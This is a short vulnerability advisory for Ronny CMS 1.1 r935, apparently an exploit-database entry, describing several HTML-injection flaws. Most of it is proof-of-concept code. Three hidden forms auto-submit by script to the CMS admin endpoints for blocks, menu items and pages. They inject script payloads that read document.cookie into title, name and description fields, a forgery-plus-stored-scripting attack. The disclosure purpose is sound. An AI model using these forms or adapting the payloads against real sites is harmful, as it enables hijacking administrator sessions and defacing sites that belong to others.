Ronny CMS 1.1 r935 - Multiple HTML Injection Vulnerabilities

source: https://www.securityfocus.com/bid/44066/info

Ronny CMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Ronny CMS 1.1 r935 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/system/admin.php" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="bside" value="0" />
<input type="hidden" name="bshow_template" value="standard" />
<input type="hidden" name="bcmodule[]" value="-1" />
<input type="hidden" name="bcmodule[]" value="0" />
<input type="hidden" name="bcmodule[]" value="2" />
<input type="hidden" name="bcmodule[]" value="3" />
<input type="hidden" name="bvisible" value="0" />
<input type="hidden" name="bweight" value="" />
<input type="hidden" name="btitle" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="bcontent" value="" />
<input type="hidden" name="bctype" value="H" />
<input type="hidden" name="fct" value="blocksadmin" />
<input type="hidden" name="op" value="save" />

</form>
<script>
document.main.submit();
</script>





<form action="http://www.example.com/menu/admin/index.php?op=saveItem" method="post" name="main" >

<input type="hidden" name="menuid" value="1" />
<input type="hidden" name="id" value="2" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="name" value='Pages<script>alert(document.cookie)</script>' />
<input type="hidden" name="url" value="/pages/" />
<input type="hidden" name="order" value="20" />

</form>
<script>
document.main.submit();
</script>





<form action="http://www.example.com/pages/admin/index.php?op=editPage1" method="post" enctype="multipart/form-data" >

<input type="hidden" name="pid" value="0" />
<input type="hidden" name="pname" value="Page name" />
<input type="hidden" name="purl" value="main" />
<input type="hidden" name="ptemplate" value="index" />
<input type="hidden" name="porder" value="0" />
<input type="hidden" name="ptext" value="Ronny CMS page text" />
<input type="hidden" name="pfile"; filename="" />
<input type="hidden" name="pdesc" value='page description"><script>alert(document.cookie)</script>' />
<input type="hidden" name="pkeywords" value="page metas" />
<input type="hidden" name="ptags" value="" />
<input type="hidden" name="update_pid" value="1" />
<input type="submit" id="btn" name="submit" value="SAVE" />

</form>
<script>
document.getElementById('btn').click();
</script>